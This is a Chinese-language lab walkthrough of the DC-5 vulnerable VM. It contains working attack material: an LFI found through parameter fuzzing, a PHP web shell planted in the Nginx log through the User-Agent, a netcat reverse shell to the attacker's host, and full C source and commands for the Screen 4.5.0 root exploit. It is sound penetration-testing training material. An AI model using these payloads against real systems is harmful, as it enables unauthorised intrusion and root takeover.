学习笔记-DC5-WalkThrough

DC5-WalkThrough


免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


靶机地址

Description

DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback).

As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it is there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will hopefully provide some kind of idea as to what the vulnerability might involve.

And just for the record, there is no phpmailer exploit involved. 😃

The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

But if you're really, really stuck, you can watch this video which shows the first step.

Technical Information

DC-5 is a VirtualBox VM built on Debian 64 bit, but there shouldn't be any issues running it on most PCs.

I have tested this on VMWare Player, but if there are any issues running this VM in VMware, have a read through of this.

It is currently configured for Bridged Networking, however, this can be changed to suit your requirements. Networking is configured for DHCP.

Installation is simple - download it, unzip it, and then import it into VirtualBox or VMWare and away you go.

知识点

  • Get 参数 Fuzz (中期)
  • LFI (中期)
  • 日志中毒攻击 (中期)
  • screen 4.5.0 提权 (后期)

实验环境

环境仅供参考

  • VMware® Workstation 15 Pro - 15.0.0 build-10134415
  • kali : NAT 模式,192.168.141.134
  • 靶机 : NAT 模式

前期-信息收集

开始进行 IP 探活

nmap -sP 192.168.141.0/24

排除法,去掉自己、宿主机、网关, 192.168.141.139 就是目标了

扫描开放端口

nmap -T5 -A -v -p- 192.168.141.139

三个端口,一个 web,两个 rpc,先从熟悉的 web 入手

都是一堆狗屁不通的东西,只在 contact 中找到可以交互的点,填写表单试试

随便提交了一些数据,被定向到了 thankyou.php 下,页面上看上去啥也没有,不过 url 参数中貌似可以 fuzz 一下


中期-漏洞利用

仔细查看链接 http://192.168.141.139/thankyou.php?firstname=11%3Cb%3E1&lastname=21%3Cb%3E1&country=australia&subject=1%3Cb%3E1

存在 firstname lastname country subject 四个参数,分别修改、替换,发现这些参数的值无论怎么改都不会有变化,但是修改这些参数本身,页面会变动。那就好办了,别 Fuzz 这4个参数的值,直接 Fuzz 出是否有可利用的其他参数就是了

联想到网页是 php 写的,加上这种参数的地方很可能会出现的漏洞就是文件包含、文件下载等

直接使用 burp 跑参数字典+文件包含字典

字典不要选错,Linux 的靶机选择 Linux 的 LFI Payload 字典 : https://github.com/ffffffff0x/AboutSecurity/blob/master/Payload/LFI/LFI_Linux.txt

参数字典选择常见的 GET 参数字典 : https://github.com/ffffffff0x/AboutSecurity/blob/master/Dic/Web/api%26params/GET_params_Top99.txt

使用 burp 开始跑

可见,跑出一个参数 file,基本可以确认这里存在一个文件包含漏洞了

这里也可以使用 wfuzz 跑,就不演示了

wfuzz -w GET_params_Top99.txt -w LFI_Linux.txt --hh 851 -u http://192.168.141.139/thankyou.php?FUZZ=FUZ2Z

既然有了文件包含漏洞下面就想办法拿 shell,这里可以配合日志进行命令执行 (日志中毒攻击)

先找到日志文件,Linux+php+Nginx 环境,老规矩,爆破 Nginx 日志

运气不错,就拿 /var/log/nginx/access.log 开刀了

访问 http://192.168.141.139 抓包,在 User-Agent: 中添加 payload: <?php phpinfo() ?> 测试

再次访问 http://192.168.141.139/thankyou.php?file=/var/log/nginx/access.log

访问 http://192.168.141.139 抓包,在 User-Agent: 中添加 payload: <?php system($_GET['cmd']) ?>

kali 开启 nc 监听

nc -nlvp 4444

访问 http://192.168.141.139/thankyou.php?file=/var/log/nginx/access.log&cmd=nc 192.168.141.134 4444 -e /bin/bash 测试

弹回来了


后期-提权

升级下

python -c 'import pty; pty.spawn("/bin/bash")'

找带 suid 的文件

find / -perm -u=s 2>/dev/null

在 searchsploit 里找到了一个可以提权的,版本正好是 Screen 4.5.0

searchsploit -w screen 4.5.0

访问 https://www.exploit-db.com/exploits/41154 下载 POC

kali 上发送

nc -nlvp 6666 < 41154.sh

靶机上接收,并运行

cd /tmp
nc 192.168.141.134 6666 > 41154.sh
sh 41154.sh

等了半天,没有提成功,网上搜了下,其他人的做法是将 poc 拆分开来运行,照着试试看

在 kali 下运行

tee libhax.c <<-'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF

tee rootshell.c <<-'EOF'
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF

gcc -fPIC -shared -ldl -o ./libhax.so ./libhax.c
gcc -o ./rootshell ./rootshell.c

把编译好的 libhax.so 和 rootshell 从 kali 传给 靶机

python -m SimpleHTTPServer 8080
cd /tmp
wget 192.168.141.134:8080/libhax.so;wget 192.168.141.134:8080/rootshell

运行 poc

cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"
screen -ls
/tmp/rootshell
whoami

提权成功,感谢靶机作者 @DCUA7

点击关注,共同学习!
安全狗的自我修养

github haidragon

https://github.com/haidragon

posted @ 2022-11-03 12:35  syscallwww  阅读(112)  评论(0编辑  收藏  举报